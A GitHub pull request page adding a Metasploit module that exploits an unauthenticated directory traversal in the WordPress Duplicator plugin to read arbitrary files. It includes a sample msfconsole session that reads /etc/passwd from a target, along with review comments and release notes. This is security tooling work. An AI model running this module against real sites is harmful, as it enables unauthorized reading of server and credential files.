Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wordpress: Duplicator plugin - unauthenticated arbitrary file read #14497

Merged
merged 13 commits into from
Dec 18, 2020

Conversation

ghost
Copy link

@ghost ghost commented Dec 11, 2020

Description

This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin "Duplicator" plugin version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges.
This vulnerability was being actively exploited when it was discovered.

Verification Steps

Confirm that functionality works:

  1. Start msfconsole
  2. use auxiliary/scanner/http/wp_duplicator_file_read
  3. Set the RHOSTS
  4. Set the RPORT
  5. Run the exploit: run

Scenarios

Ubuntu 20.04 running WordPress 5.6, Duplicator 1.2.6

[Link] http://stg.hiraka.ml:8080/wordpress

msf5 > use auxiliary/scanner/http/wp_duplicator_file_read
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rport 8080
rport => 8080
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set FILEPATH /etc/passwd
FILEPATH => /etc/passwd
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set DEPTH 5
DEPTH => 5

msf5 auxiliary(scanner/http/wp_duplicator_file_read) > run

[*] Downloading file...

[....Content File....]

[+] File saved in: /root/.msf4/loot/20201211005722_default_13.250.118.98_duplicator.trave_383073.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SunCSR Team added 4 commits December 10, 2020 23:37
Duplicator 1.3.24 & 1.3.26 - Unauthenticated Arbitrary File Download
Duplicator 1.3.24 & 1.3.26 - Unauthenticated Arbitrary File Download
Duplicator 1.3.24 & 1.3.26 - Unauthenticated Arbitrary File Download
@h00die h00die self-assigned this Dec 11, 2020
@ghost
Copy link
Author

ghost commented Dec 11, 2020

@h00die . Hi. My code was uploaded 8 hours ago but has not been included in TravisCI

@adfoster-r7
Copy link
Contributor

Travis is running slow lately, it will run the pull request eventually 😄 This other pull request #14495 is investigating the use of Github actions as an alternative to using Travis, but that won't impact this pull request 👍

@ghost
Copy link
Author

ghost commented Dec 11, 2020

Thank you! In the meantime, I am writing new modules (^^!)

Copy link
Contributor

@h00die h00die left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would recommend running through msftidy, msftidy_docs, and rubocop

@ghost
Copy link
Author

ghost commented Dec 11, 2020

Hi. @h00die . Thanks for your enthusiastic help. I will correct everything according to your suggestion !

@ghost ghost requested a review from h00die December 12, 2020 14:49
@ghost ghost requested a review from h00die December 12, 2020 17:43
@ghost
Copy link
Author

ghost commented Dec 13, 2020

@h00die. I corrected everything!!!. Sorry for not doing well

@h00die
Copy link
Contributor

h00die commented Dec 13, 2020

no worries, its a learning experience!!!

@ghost ghost requested review from h00die and bcoles December 14, 2020 03:03
@h00die
Copy link
Contributor

h00die commented Dec 17, 2020

rubocop and minor adjustments
@ghost
Copy link
Author

ghost commented Dec 17, 2020

Dear @h00die . I merged . Thanks a bunch!

@h00die h00die merged commit 3cb39c2 into rapid7:master Dec 18, 2020
@h00die
Copy link
Contributor

h00die commented Dec 18, 2020

Thanks for the contribution @suncsr !

@h00die
Copy link
Contributor

h00die commented Dec 18, 2020

Release Notes

New auxiliary module auxiliary/scanner/http/wp_duplicator_file_read exploits an unauthenticated arbitrary file read in vulnerable versions of the WordPress plugin "Duplicator".

@gwillcox-r7 gwillcox-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 21, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants